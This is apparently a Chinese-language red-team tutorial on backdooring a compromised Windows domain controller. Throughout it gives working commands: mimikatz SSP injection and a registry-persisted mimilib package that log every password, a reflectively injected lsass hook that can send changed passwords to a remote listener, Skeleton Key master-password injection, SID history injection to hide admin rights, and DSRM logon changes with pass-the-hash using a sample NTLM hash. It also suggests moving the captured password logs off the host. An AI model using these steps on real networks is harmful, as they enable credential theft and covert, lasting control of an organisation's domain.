内网安全-权限维持&域控后门&SSP&HOOK&DSRM&SID&万能钥匙
目录
内网安全-权限维持&域控后门&SSP&HOOK&DSRM&SID&万能钥匙
方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
内网域-权限维持-基于登录进程劫持-Skeleton Key
知识点:
1、权限维持-Windows-内网域环境
2、SSP&HOOK&SID&DSRM&Skeleton
权限维持知识点:
系统:Win&Linux
层面:单机版&域环境&WEB
内网域-权限维持-基于验证DLL加载-SSP
方法一:但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
privilege::debug
misc::memssp
C:\Windows\System32\mimilsa.log 记录登录的账号密码
方法二:使用此方法即使系统重启,也不会影响到持久化的效果。
1、mimilib.dll 传到目标域控的c:\windows\system32\目录下
2、修改注册表,重启生效
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
c:\windows\system32\kiwissp.log 记录账号密码文件
技术总结:
攻防实战中,靶机很难会重启,攻击者重启的话风险过大,
因此可以在靶机上把两个方法相互结合起来使用效果比较好,
尝试利用把生成的日志密码文件发送到内网被控机器或者临时邮箱。
演示之前可以先看一下这两种方法的讲解,
参考链接:https://www.cnblogs.com/lcxblogs/p/14216525.html
这里我们先演示第一种方法,就是直接用mimikatz敲两条命令即可
第一条命令就是请求调试权限,第二条命令就是把SSP注入到内存中,也就是获取登录密码的命令。如果此时注销账号登录就会把登录的账号密码写到日志文件C:\Windows\system32\mimilsa.log中
这里可以看到我注销账号重新登录之后就会把账号密码写到这里来,但是这个方法在服务器重启或者关机之后就会失效
这里第二种方法如果想要生效就需要先重新启动,也就是说他两个方法生效方式相反,所以实战中我们可以一起用,没有重启就第一种方式有效,重启了就第二种方式有效
这个第二个方法就是把mimilib这个dll文件放到注册表下面即可,这个dll文件就是用来获取账号密码的
我们需要先把这个dll文件放到system32目录下,相当于弄个环境变量。
第一条命令就是看这个注册表下面都有什么东西,可以看到这里用cmd窗口看到的和它注册表里面的内容是一样的
执行完第二条命令即可完成文件在注册表的添加,这里“\0”是换行的意思
此时我们重新启动就会发现该方法已经生效,并且第一种方法失效
但是如果说我们的权限丢失了的话就不能看这个文件了,毕竟是在system32目录下,所以我们这里有两个解决办法,一个是把这个文件发送到内网其他地方,我们可以一直访问到的地方,发送到外网的话不太行。第二种就是我们接下来要讲的HOOK
内网域-权限维持-基于验证DLL加载-HOOK
这个项目可以记录受控主机修改的密码,也就是说如果我们已经取得了域控的权限,然后弄这个HOOK项目,当对方修改密码的时候就会把修改的密码放到下图的password这个文本文档中,然后这个项目是有两个版本的,一个是本地版,一个是远程版。本地版的话其实就跟上面的讲的SSP差不多,这个远程版就是本地版的升级
远程版就比本地版多了发送的功能,就是说会把对方修改的账号密码记录到文本文档之后,然后发送到一个ip的一个端口下面,这里我们要注意,因为当前环境是内网,我们要填一个能够访问的地址及端口。然后目标主机监听该端口即可。
然后生成的时候除了选择release模式和64位,也要保证下图这个地方不要选错,下图这个界面可以右键文件夹,然后点击属性,然后点高级即可来到
然后我们就会得到一个dll文件,这个时候就要配合一个powershell脚本来使用即可
这里标注一下避免弄混,1代表的就是远程版,2代表的就是powershell脚本,3代表的就是本地版
这个时候我们直接来到目标机器,把dll文件和这个ps脚本放上去,然后执行命令即可
Import-Module .\HookPasswordChangeNotify.ps1
这里因为ps脚本最后一句已经加上了执行dll文件的命令,所以我们就不要再执行第二条命令了,如果没有最后一条的话就需要再执行一条命令即可
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
内网域-权限维持-基于登录进程劫持-Skeleton Key
1、测试域内某个用户与DC通讯
dir \\owa2010cn-god\c$
2、连接DC后,DC注入lsass进程
net use \\192.168.3.21\ipc$ "Admin12345" /user:god\administrator
mimikatz:
privilege::debug
misc::skeleton
3、重新测试域内某个用户与DC通讯
net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \\owa2010cn-god\c$
技术总结:
因为Skeleton Key技术是被注入到lsass.exe进程的,
所以它只存在内存中,如域控重启,万能密码将失效。
这个就是基于登录进程劫持来做权限维持,当我们利用mimikatz执行下面两条命令,第一条就是提权获得调试权限,第二条就是把密码mimikatz写入进去,然后就会多一个mimikatz的密码,当我们使用administrator去登录域控的时候,会发现mimikatz也可以登录了。
privilege::debug
misc::skeleton
mimikatz的命令是在域控里面敲的,下面这个命令是在其他主机敲的,也就是说把万能密码注入到内存之后,域内其他成员主机就可以用这个万能密码连接域控。
但是这个方法在重启域控之后就会失效
内网域-权限维持-基于用户属性修改-SID history
1、获取某用户SID属性:
Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory
2、给予某用户administrator属性:
privilege::debug
sid::patch
sid::add /sam:webadmin /new:administrator
3、测评给与前后的DC访问权限:
dir \\192.168.3.21\c$
技术总结:
把域控管理员的SID加入到 其他某个 恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以域管理员权限访问域控了,不修改域账户一直存在。
首先我们看一下域控账户的里面各个用户的SID,这个就是每个账户的标识,可以看到管理员的是500,mary这个普通用户就是1124,就是一千开外了,因为这里是windows,我们都知道windows就是管理员是从500开始,普通用户就是1000开始。而linux的root则是0
这里我们看一下mary账户的详细信息,这里可以看到SIDhistory是没有东西的
当我们执行完命令之后
这里就会发现SIDhistory多了管理员的SID
此时我们就可以直接用mary登录域控并且不需要账号密码
这个就是详细的解释,这个方法比较隐蔽不容易被发现,这里可能有人会说另一个方法就是把管理员组里面加入mary,但是这个动静太大了容易被发现,就算我们看所有账户的SID,mary还是会显示他自己的SID,除非管理者看这个mary账户的详细信息,不然发现不了。
内网域-权限维持-基于机制账号启用-DSRM
1.获取dsrm及krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtgt
token::elevate
lsadump::sam
2.dsrm&krbtgt&NTLM hash同步
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account 域用户名字:使DSRM的密码和指定域用户的密码同步
q(第1次):退出DSRM密码设置模式
q(第2次):退出ntdsutil
3.修改dsrm登录方式
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
这里的2代表可以远程登录,因为默认是1,1就是只能本地登录,还有个0是不能登录
4.利用PTH传递攻击
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
dir \\owa2010cn-god\c$
技术总结:
利用系统自带机制模式DSRM,修改DSRM默认登录方式和属性,通过其同步krbtgt进行PTH攻击,实现持续化控制,但适用于系统=>windows server2008。每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。
首先说一下,krbtgt这个账户是kerberos协议里面的一个特殊账户把属于是,kerberos协议就是生成票据的,
DSRM则是一个恢复密码,当域环境受到损坏的时候就可以用这个DSRM来恢复,
思路就是利用工具ntdsutil,让DSRM和krbtgt的密码同步,也就是说DSRM和它的密码一样,那么这里获取的krbtgt的hash就是DSRM了,那我们就可以利用这个hash来用pth连接域控,但如果说用mimikatz通过pth连接域控的话需要高权限。所以这里我们可以用之前讲PTH的时候用的wmi、ipc、smb去通过pth连接域控,这个不需要高权限的。